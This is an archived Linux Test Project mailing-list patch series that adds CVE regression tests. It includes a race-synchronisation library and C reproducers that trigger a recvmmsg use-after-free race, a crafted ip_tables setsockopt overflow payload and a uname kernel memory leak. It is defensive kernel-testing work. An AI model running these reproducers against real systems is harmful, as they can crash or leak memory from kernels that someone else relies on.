All of lore.kernel.org
 help / color / mirror / Atom feed
* [LTP] [PATCH v2 00/10] CVE Tests
@ 2017-05-22 12:13 Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
                   ` (9 more replies)
  0 siblings, 10 replies; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Version 2:
* Remove unresolved merge conflict from two commits
* Use _GNU_SOURCE instead of __USE_GNU

P.s. Sorry for spamming the mailing list.

Richard Palethorpe (10):
  Add fuzzy synchronisation library for triggering races
  Test for vulnerability CVE-2016-7117 in recvmmsg error return path
  Test for CVE-2016-4997 on setsockopt
  Test for uname26 exploit CVE-2012-0957
  Add CVE .gitignore, Makefile and runtest files
  Test for CVE-2014-0196 PTY echo race
  Test for CVE-2017-5669 in shmat
  Test for CVE-2017-6951 in request_key
  Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS
  Test for CVE-2017-2671 on ping sockets

 configure.ac                  |   1 +
 include/tst_fuzzy_sync.h      | 189 ++++++++++++++++++
 m4/ltp-mmsghdr.m4             |  22 +++
 runtest/cve                   |  10 +
 runtest/syscalls              |   4 +
 scenario_groups/default       |   1 +
 testcases/cve/.gitignore      |   8 +
 testcases/cve/Makefile        |  26 +++
 testcases/cve/cve-2012-0957.c |  90 +++++++++
 testcases/cve/cve-2014-0196.c | 163 +++++++++++++++
 testcases/cve/cve-2016-4997.c |  93 +++++++++
 testcases/cve/cve-2016-7117.c | 165 ++++++++++++++++
 testcases/cve/cve-2017-2671.c | 123 ++++++++++++
 testcases/cve/cve-2017-5669.c |  90 +++++++++
 testcases/cve/cve-2017-6951.c |  47 +++++
 testcases/cve/cve-2017-7277.c | 449 ++++++++++++++++++++++++++++++++++++++++++
 16 files changed, 1481 insertions(+)
 create mode 100644 include/tst_fuzzy_sync.h
 create mode 100644 m4/ltp-mmsghdr.m4
 create mode 100644 runtest/cve
 create mode 100644 testcases/cve/.gitignore
 create mode 100644 testcases/cve/Makefile
 create mode 100644 testcases/cve/cve-2012-0957.c
 create mode 100644 testcases/cve/cve-2014-0196.c
 create mode 100644 testcases/cve/cve-2016-4997.c
 create mode 100644 testcases/cve/cve-2016-7117.c
 create mode 100644 testcases/cve/cve-2017-2671.c
 create mode 100644 testcases/cve/cve-2017-5669.c
 create mode 100644 testcases/cve/cve-2017-6951.c
 create mode 100644 testcases/cve/cve-2017-7277.c

-- 
2.12.2


^ permalink raw reply	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 01/10] Add fuzzy synchronisation library for triggering races
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path Richard Palethorpe
                   ` (8 subsequent siblings)
  9 siblings, 0 replies; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Provide some functions for starting two actions at approximately the same time
on different threads or processes. This is intended to amalgamate
functionality built into at least three CVE tests. As well as conforming to
DRY it is intended to help make reasoning about each test easier by
abstracting away the synchronisation mechanism.

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 include/tst_fuzzy_sync.h | 189 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 189 insertions(+)
 create mode 100644 include/tst_fuzzy_sync.h

diff --git a/include/tst_fuzzy_sync.h b/include/tst_fuzzy_sync.h
new file mode 100644
index 000000000..ab8092d72
--- /dev/null
+++ b/include/tst_fuzzy_sync.h
@@ -0,0 +1,189 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Fuzzy Synchronisation - abreviated to fzsync
+ *
+ * This library is intended to help reproduce race conditions while running in
+ * a loop. You can use it to measure the time at which two functions are
+ * called in different threads. Then calculate the average time gap between
+ * the function calls and introduce a delay in one thread to synchronise the
+ * calls.
+ *
+ * It is called 'fuzzy' synchronisation because the time gap will naturally vary
+ * due to environmental factors. It is not a 'hard' synchronisation mechanism
+ * like lockstepping.
+ *
+ * For a usage example see testcases/cve/cve-2017-2671.c
+ */
+
+#include <sys/time.h>
+#include <time.h>
+
+#ifndef CLOCK_MONOTONIC_RAW
+#define CLOCK_MONOTONIC_RAW CLOCK_MONOTONIC
+#endif
+
+/**
+ * struct tst_fzsync_pair - the state of a two way synchronisation
+ * @avg_diff: The average time difference over multiple iterations
+ * @avg_diff_trgt: The desired average time difference, defaults to 0
+ * @avg_alpha: The rate at which old diff samples are forgotten,
+ *             defaults to 0.25
+ * @a: The time at which call site A was last passed
+ * @b: The time at which call site B was last passed
+ * @delay: The size of the delay, positive to delay A, negative to delay B
+ * @delay_inc: The step size of a delay increment, defaults to 10
+ * @update_gap: The number of iterations between recalculating the delay.
+ *              Defaults to 0xF and must be of the form $2^n - 1$
+ *
+ * This contains all the necessary state for synchronising two points A and
+ * B. Where A is the time of an event in one process and B is the time of an
+ * event in another process.
+ */
+struct tst_fzsync_pair {
+	double avg_diff;
+	double avg_diff_trgt;
+	double avg_alpha;
+	struct timespec a;
+	struct timespec b;
+	long delay;
+	long delay_inc;
+	int update_gap;
+};
+
+/**
+ * tst_fzsync_pair_init - Set default values if they are zero
+ * @pair: Zeroed fuzzy pair state struct
+ */
+static void tst_fzsync_pair_init(struct tst_fzsync_pair *pair)
+{
+	if (pair->avg_alpha == 0)
+		pair->avg_alpha = 0.25;
+	if (pair->delay_inc == 0)
+		pair->delay_inc = 10;
+	if (pair->update_gap == 0)
+		pair->update_gap = 0xF;
+}
+
+static void tst_fzsync_pair_info(struct tst_fzsync_pair *pair)
+{
+	tst_res(TINFO, "avg_diff = %.5gns, delay = %05ld loops",
+		pair->avg_diff, pair->delay);
+}
+
+/**
+ * tst_fzsync_delay_a - Perform spin delay for A, if needed
+ *
+ * Usually called just before the point you want to synchronise.
+ */
+static inline void tst_fzsync_delay_a(struct tst_fzsync_pair *pair)
+{
+	volatile long spin_delay = pair->delay;
+
+	while (spin_delay > 0)
+		spin_delay--;
+}
+
+/**
+ * tst_fzsync_delay_b - Perform spin delay for B, if needed
+ *
+ * Usually called just before the point you want to synchronise.
+ */
+static inline void tst_fzsync_delay_b(struct tst_fzsync_pair *pair)
+{
+	volatile long spin_delay = pair->delay;
+
+	while (spin_delay < 0)
+		spin_delay++;
+}
+
+static inline void tst_fzsync_time(struct timespec *t)
+{
+	clock_gettime(CLOCK_MONOTONIC_RAW, t);
+}
+
+/**
+ * tst_fzsync_time_a - Set A's time to now.
+ *
+ * Called@the point you want to synchronise.
+ */
+static inline void tst_fzsync_time_a(struct tst_fzsync_pair *pair)
+{
+	tst_fzsync_time(&pair->a);
+}
+
+/**
+ * tst_fzsync_time_b - Set B's call time to now.
+ *
+ * Called at the point you want to synchronise.
+ */
+static inline void tst_fzsync_time_b(struct tst_fzsync_pair *pair)
+{
+	tst_fzsync_time(&pair->b);
+}
+
+/**
+ * tst_exp_moving_avg - Exponential moving average
+ * @alpha: The preference for receant samples over old ones.
+ * @sample: The current sample
+ * @prev_avg: The average of the all the previous samples
+ *
+ * Returns average including the current sample.
+ */
+static inline double tst_exp_moving_avg(double alpha, long sample,
+					double prev_avg)
+{
+	return alpha * sample + (1.0 - alpha) * prev_avg;
+}
+
+/**
+ * tst_fzsync_pair_update - Recalculate the delay
+ * @loop_index: The i in "for(i = 0;..." or zero to ignore update_gap
+ * @pair: The state necessary for calculating the delay
+ *
+ * This should be called at the end of each loop to update the average
+ * measured time difference (between A and B) and update the delay. It is
+ * assumed that A and B are less than a second apart.
+ *
+ * The values of update_gap, avg_alpha and delay_inc decide the speed at which
+ * the algorithm approaches the optimum delay value and whether it is
+ * stable. If your test is behaving strangely, it could be because this
+ * algorithm is behaving chaotically and flip-flopping between large positve
+ * and negative delay values. You can call tst_fzysync_pair_info every few
+ * loops to check whether the average difference and delay values are stable.
+ */
+static void tst_fzsync_pair_update(int loop_index, struct tst_fzsync_pair *pair)
+{
+	long diff;
+	long inc = pair->delay_inc;
+	long delay = pair->delay;
+	double target = pair->avg_diff_trgt;
+	double avg = pair->avg_diff;
+
+	diff = pair->a.tv_nsec - pair->b.tv_nsec;
+	avg = tst_exp_moving_avg(pair->avg_alpha, diff, avg);
+
+	if (!(loop_index & pair->update_gap)) {
+		if (avg > target)
+			delay -= inc;
+		else if (avg < target)
+			delay += inc;
+	}
+
+	pair->avg_diff = avg;
+	pair->delay = delay;
+}
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-05-26 14:51   ` Cyril Hrubis
  2017-05-22 12:13 ` [LTP] [PATCH v2 03/10] Test for CVE-2016-4997 on setsockopt Richard Palethorpe
                   ` (7 subsequent siblings)
  9 siblings, 1 reply; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 configure.ac                  |   1 +
 m4/ltp-mmsghdr.m4             |  22 ++++++
 testcases/cve/cve-2016-7117.c | 165 ++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 188 insertions(+)
 create mode 100644 m4/ltp-mmsghdr.m4
 create mode 100644 testcases/cve/cve-2016-7117.c

diff --git a/configure.ac b/configure.ac
index ecc9a2699..ddfc683a3 100644
--- a/configure.ac
+++ b/configure.ac
@@ -189,5 +189,6 @@ LTP_CHECK_EPOLL_PWAIT
 LTP_CHECK_KEYUTILS_SUPPORT
 LTP_CHECK_SYNC_ADD_AND_FETCH
 LTP_CHECK_BUILTIN_CLEAR_CACHE
+LTP_CHECK_MMSGHDR
 
 AC_OUTPUT
diff --git a/m4/ltp-mmsghdr.m4 b/m4/ltp-mmsghdr.m4
new file mode 100644
index 000000000..05522180e
--- /dev/null
+++ b/m4/ltp-mmsghdr.m4
@@ -0,0 +1,22 @@
+dnl Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+dnl
+dnl This program is free software;  you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY;  without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+dnl the GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+AC_DEFUN([LTP_CHECK_MMSGHDR],[
+AC_CHECK_TYPES([struct mmsghdr],,,[
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/socket.h>
+])
+])
diff --git a/testcases/cve/cve-2016-7117.c b/testcases/cve/cve-2016-7117.c
new file mode 100644
index 000000000..721e31a45
--- /dev/null
+++ b/testcases/cve/cve-2016-7117.c
@@ -0,0 +1,165 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * CVE-2016-7117
+ *
+ * This tests for a use after free caused by a race between recvmmsg() and
+ * close(). The exit path for recvmmsg() in (a2e2725541f: net: Introduce
+ * recvmmsg socket syscall) called fput() on the active file descriptor before
+ * checking the error state and setting the socket's error field.
+ *
+ * If one or more messages are received by recvmmsg() followed by one which
+ * fails, the socket's error field will be set. If just after recvmmsg() calls
+ * fput(), a call to close() is made on the same file descriptor there is a
+ * race between close() releasing the socket object and recvmmsg() setting its
+ * error field.
+ *
+ * fput() does not release a file descriptor's resources (e.g. a socket)
+ * immediatly, it queues them to be released just before a system call returns
+ * to user land. So the close() system call must call fput() after it is
+ * called in recvmmsg(), exit and release the resources all before the socket
+ * error is set.
+ *
+ * Usually if the vulnerability is present the test will be killed with a
+ * kernel null pointer exception. However this is not guaranteed to happen
+ * every time.
+ *
+ * The following was used for reference
+ * https://blog.lizzie.io/notes-about-cve-2016-7117.html
+ */
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/syscall.h>
+#include <stdlib.h>
+#include <errno.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_safe_pthread.h"
+#include "tst_timer.h"
+#include "tst_fuzzy_sync.h"
+
+/* The bug was present in the kernel before recvmmsg was exposed by glibc */
+#include "linux_syscall_numbers.h"
+
+#define MSG "abcdefghijklmnop"
+#define RECV_TIMEOUT 1
+#define ATTEMPTS 0x1FFFFF
+
+#ifndef HAVE_STRUCT_MMSGHDR
+struct mmsghdr {
+	struct msghdr msg_hdr;
+	unsigned int msg_len;
+};
+#endif
+
+static int socket_fds[2];
+static struct mmsghdr msghdrs[2] = {
+	{
+		.msg_hdr = {
+			.msg_iov = &(struct iovec) {
+				.iov_len = sizeof(MSG),
+			},
+			.msg_iovlen = 1
+		}
+	},
+	{
+		.msg_hdr = {
+			.msg_iov = &(struct iovec) {
+				.iov_base = (void *)(0xbadadd),
+				.iov_len = ~0,
+			},
+			.msg_iovlen = 1
+		}
+	}
+};
+static char rbuf[sizeof(MSG)];
+static struct timespec timeout = { .tv_sec = RECV_TIMEOUT };
+static struct tst_fzsync_pair fzsync_pair;
+
+static void setup(void)
+{
+	tst_fzsync_pair_init(&fzsync_pair);
+}
+
+static void cleanup(void)
+{
+	close(socket_fds[0]);
+	close(socket_fds[1]);
+}
+
+static void *send_and_close(void *arg)
+{
+	send(socket_fds[0], MSG, sizeof(MSG), 0);
+	send(socket_fds[0], MSG, sizeof(MSG), 0);
+
+	tst_fzsync_delay_b(&fzsync_pair);
+
+	close(socket_fds[0]);
+	close(socket_fds[1]);
+	tst_fzsync_time_b(&fzsync_pair);
+
+	return arg;
+}
+
+static void run(void)
+{
+	pthread_t pt_send;
+	int i, stat, too_early_count = 0;
+
+	msghdrs[0].msg_hdr.msg_iov->iov_base = (void *)&rbuf;
+
+	for (i = 1; i < ATTEMPTS; i++) {
+		if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, socket_fds))
+			tst_brk(TBROK | TERRNO, "Socket creation failed");
+
+		SAFE_PTHREAD_CREATE(&pt_send, 0, send_and_close, 0);
+
+		tst_fzsync_delay_a(&fzsync_pair);
+
+		stat = tst_syscall(__NR_recvmmsg,
+				   socket_fds[1], msghdrs, 2, 0, &timeout);
+		tst_fzsync_time_a(&fzsync_pair);
+		if (stat < 0 && errno == EBADF)
+			too_early_count++;
+		else if (stat == 0)
+			tst_res(TWARN, "No messages received, should be one");
+		else if (stat < 0)
+			tst_res(TWARN | TERRNO, "recvmmsg failed unexpectedly");
+
+		SAFE_PTHREAD_JOIN(pt_send, 0);
+
+		tst_fzsync_pair_update(i, &fzsync_pair);
+		if (!(i & 0x7FFFF)) {
+			tst_res(TINFO, "Too early: %.1f%%",
+				100 * too_early_count / (float)i);
+			tst_fzsync_pair_info(&fzsync_pair);
+		}
+	}
+
+	tst_res(TPASS, "Nothing happened after %d attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+	.tid = "cve-2016-7117",
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "2.6.33",
+};
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 03/10] Test for CVE-2016-4997 on setsockopt
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-05-22 12:13 ` [LTP] [PATCH v2 04/10] Test for uname26 exploit CVE-2012-0957 Richard Palethorpe
                   ` (6 subsequent siblings)
  9 siblings, 0 replies; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 testcases/cve/cve-2016-4997.c | 93 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 93 insertions(+)
 create mode 100644 testcases/cve/cve-2016-4997.c

diff --git a/testcases/cve/cve-2016-4997.c b/testcases/cve/cve-2016-4997.c
new file mode 100644
index 000000000..69424e1a5
--- /dev/null
+++ b/testcases/cve/cve-2016-4997.c
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Based on repro-compatReleaseEntry.c by NCC group
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Test for CVE-2016-4997
+ *
+ * For a full explanation of how the vulnerability works see:
+ * https://github.com/nccgroup/TriforceLinuxSyscallFuzzer/tree/master/crash_reports/report_compatIpt
+ *
+ * The original vulnerability was present in the 32-bit compatibility system
+ * call, so the test should be compiled with -m32 and run on a 64-bit kernel.
+ * For simplicities sake the test requests root privliges instead of creating
+ * a user namespace.
+ */
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <net/if.h>
+#include <limits.h>
+#include <linux/netfilter_ipv4/ip_tables.h>
+
+#include "tst_test.h"
+#include "tst_safe_net.h"
+#include "tst_kernel.h"
+
+#define TOO_SMALL_OFFSET 74
+#define OFFSET_OVERWRITE 0xFFFF
+#define NEXT_OFFSET (sizeof(struct ipt_entry)		\
+		     + sizeof(struct xt_entry_match)	\
+		     + sizeof(struct xt_entry_target))
+#define PADDING (OFFSET_OVERWRITE - NEXT_OFFSET)
+
+struct payload {
+	struct ipt_replace repl;
+	struct ipt_entry ent;
+	struct xt_entry_match match;
+	struct xt_entry_target targ;
+	char padding[PADDING];
+	struct xt_entry_target targ2;
+};
+
+static void setup(void)
+{
+	if (tst_kernel_bits() == 32 || sizeof(long) > 4)
+		tst_res(TCONF,
+			"The vulnerability was only present in 32-bit compat mode");
+}
+
+static void run(void)
+{
+	int ret, sock_fd;
+	struct payload p = { 0 };
+
+	sock_fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+
+	strncpy(p.match.u.user.name, "icmp", sizeof(p.match.u.user.name));
+	p.match.u.match_size = OFFSET_OVERWRITE;
+
+	p.ent.next_offset = NEXT_OFFSET;
+	p.ent.target_offset = TOO_SMALL_OFFSET;
+
+	p.repl.num_entries = 2;
+	p.repl.num_counters = 1;
+	p.repl.size = sizeof(struct payload);
+	p.repl.valid_hooks = 0;
+
+	ret = setsockopt(sock_fd, SOL_IP, IPT_SO_SET_REPLACE,
+			 &p, sizeof(struct payload));
+	tst_res(TPASS | TERRNO, "We didn't cause a crash, setsockopt returned %d", ret);
+}
+
+static struct tst_test test = {
+	.tid = "cve-2016-4997",
+	.min_kver = "2.6.32",
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+};
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 04/10] Test for uname26 exploit CVE-2012-0957
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
                   ` (2 preceding siblings ...)
  2017-05-22 12:13 ` [LTP] [PATCH v2 03/10] Test for CVE-2016-4997 on setsockopt Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-05-26 19:20   ` Cyril Hrubis
  2017-05-22 12:13 ` [LTP] [PATCH v2 05/10] Add CVE .gitignore, Makefile and runtest files Richard Palethorpe
                   ` (5 subsequent siblings)
  9 siblings, 1 reply; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Attempt to exploit the uname kernel memory leak which occurred when the
UNAME26 personality was set.

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 testcases/cve/cve-2012-0957.c | 90 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 90 insertions(+)
 create mode 100644 testcases/cve/cve-2012-0957.c

diff --git a/testcases/cve/cve-2012-0957.c b/testcases/cve/cve-2012-0957.c
new file mode 100644
index 000000000..3a2afe08e
--- /dev/null
+++ b/testcases/cve/cve-2012-0957.c
@@ -0,0 +1,90 @@
+/*
+ * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
+ * Copyright (c) 2012, Kees Cook <keescook@chromium.org>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Check that memory after the string terminator in all the utsname fields has
+ * been zeroed. cve-2012-0957 leaked kernel memory through the release field
+ * when the UNAME26 personality was set.
+ *
+ * Thanks to Kees Cook for the original proof of concept:
+ * http://www.securityfocus.com/bid/55855/info
+ */
+
+#include <string.h>
+#include <sys/utsname.h>
+#include <sys/personality.h>
+#include "tst_test.h"
+
+#define UNAME26 0x0020000
+
+static int check_field(char *bytes, size_t length, char *field)
+{
+	size_t i = strlen(bytes) + 1;
+
+	for (; i < length; i++) {
+		if (bytes[i]) {
+			tst_res(TFAIL, "Bytes leaked in %s!", field);
+			return 1;
+		}
+	}
+	return 0;
+}
+
+
+static void try_leak_bytes(void)
+{
+	struct utsname buf;
+
+	if (uname(&buf))
+		tst_brk(TBROK | TERRNO, "Call to uname failed");
+
+#define CHECK_FIELD(field_name) \
+	(check_field(buf.field_name, ARRAY_SIZE(buf.field_name), #field_name))
+
+	if (!(CHECK_FIELD(release) |
+	    CHECK_FIELD(sysname) |
+	    CHECK_FIELD(nodename) |
+	    CHECK_FIELD(version) |
+	    CHECK_FIELD(machine) |
+#ifdef _GNU_SOURCE
+	    CHECK_FIELD(domainname) |
+#endif
+		    0)) {
+		tst_res(TPASS, "All fields zeroed after string terminator");
+	}
+#undef CHECK_FIELD
+}
+
+static void run(unsigned int test_nr)
+{
+	if (!test_nr) {
+		tst_res(TINFO, "Calling uname with default personality");
+		try_leak_bytes();
+	} else {
+		if (personality(PER_LINUX | UNAME26) < 0)
+			tst_brk(TCONF | TERRNO,
+				"Could not change personality to UNAME26");
+		tst_res(TINFO, "Calling uname with UNAME26 personality");
+		try_leak_bytes();
+	}
+}
+
+static struct tst_test test = {
+	.tid = "cve-2012-0957",
+	.test = run,
+	.tcnt = 2,
+};
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 05/10] Add CVE .gitignore, Makefile and runtest files
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
                   ` (3 preceding siblings ...)
  2017-05-22 12:13 ` [LTP] [PATCH v2 04/10] Test for uname26 exploit CVE-2012-0957 Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-05-26 19:33   ` Cyril Hrubis
  2017-05-22 12:13 ` [LTP] [PATCH v2 06/10] Test for CVE-2014-0196 PTY echo race Richard Palethorpe
                   ` (4 subsequent siblings)
  9 siblings, 1 reply; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 runtest/cve              |  5 +++++
 runtest/syscalls         |  2 ++
 scenario_groups/default  |  1 +
 testcases/cve/.gitignore |  4 ++++
 testcases/cve/Makefile   | 25 +++++++++++++++++++++++++
 5 files changed, 37 insertions(+)
 create mode 100644 runtest/cve
 create mode 100644 testcases/cve/.gitignore
 create mode 100644 testcases/cve/Makefile

diff --git a/runtest/cve b/runtest/cve
new file mode 100644
index 000000000..83b53d906
--- /dev/null
+++ b/runtest/cve
@@ -0,0 +1,5 @@
+# Tests which check for vulnerabilities by CVE number
+cve-2012-0957 cve-2012-0957
+cve-2016-4997 cve-2016-4997
+cve-2016-5195 dirtyc0w
+cve-2016-7117 cve-2016-7117
diff --git a/runtest/syscalls b/runtest/syscalls
index 59094568d..e72ed0166 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1143,6 +1143,7 @@ set_tid_address01 set_tid_address01
 setsid01 setsid01
 
 setsockopt01 setsockopt01
+cve-2016-4997 cve-2016-4997
 
 settimeofday01 settimeofday01
 settimeofday02 settimeofday02
@@ -1354,6 +1355,7 @@ umask01 umask01
 uname01 uname01
 uname02 uname02
 uname03 uname03
+cve-2012-0957 cve-2012-0957
 
 unlink01 symlink01 -T unlink01
 unlink05 unlink05
diff --git a/scenario_groups/default b/scenario_groups/default
index b0d770171..5658a618b 100644
--- a/scenario_groups/default
+++ b/scenario_groups/default
@@ -32,3 +32,4 @@ can
 cpuhotplug
 net.ipv6_lib
 input
+cve
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
new file mode 100644
index 000000000..ff5844263
--- /dev/null
+++ b/testcases/cve/.gitignore
@@ -0,0 +1,4 @@
+cve-2012-0957
+cve-2014-0196
+cve-2016-4997
+cve-2016-7117
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
new file mode 100644
index 000000000..d642b73b4
--- /dev/null
+++ b/testcases/cve/Makefile
@@ -0,0 +1,25 @@
+# Copyright (c) 2017 Linux Test Project
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir		?= ../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CFLAGS			+= -D_GNU_SOURCE
+
+cve-2014-0196:	LDFLAGS += -lpthread -lutil -lrt
+cve-2016-7117:	LDFLAGS += -lpthread -lrt
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
-- 
2.12.2


^ permalink raw reply related	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 06/10] Test for CVE-2014-0196 PTY echo race
  2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
                   ` (4 preceding siblings ...)
  2017-05-22 12:13 ` [LTP] [PATCH v2 05/10] Add CVE .gitignore, Makefile and runtest files Richard Palethorpe
@ 2017-05-22 12:13 ` Richard Palethorpe
  2017-05-26 19:41   ` Cyril Hrubis
  2017-05-22 12:13 ` [LTP] [PATCH v2 07/10] Test for CVE-2017-5669 in shmat Richard Palethorpe
                   ` (3 subsequent siblings)
  9 siblings, 1 reply; 19+ messages in thread
From: Richard Palethorpe @ 2017-05-22 12:13 UTC (permalink / raw)
  To: ltp

Signed-off-by: Richard Palethorpe <rpalethorpe@suse.com>
---
 runtest/cve                   |   1 +
 testcases/cve/cve-2014-0196.c | 163 ++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 164 insertions(+)
 create mode 100644 testcases/cve/cve-2014-0196.c

diff --git a/runtest/cve b/runtest/cve
index 83b53d906..6556ffb0f 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -1,5 +1,6 @@
 # Tests which check for vulnerabilities by CVE number
 cve-2012-0957 cve-2012-0957
+cve-2014-0196 cve-2014-0196
 cve-2016-4997 cve-2016-4997
 cve-2016-5195 dirtyc0w
 cve-2016-7117 cve-2016-7117
diff --git a/testcases/cve/cve-2014-0196.c b/testcases/cve/cve-2014-0196.c
new file mode 100644
index 000000000..9df8282e6
--- /dev/null
+++ b/testcases/cve/cve-2014-0196.c
@@ -0,0 +1,163 @@
+/*
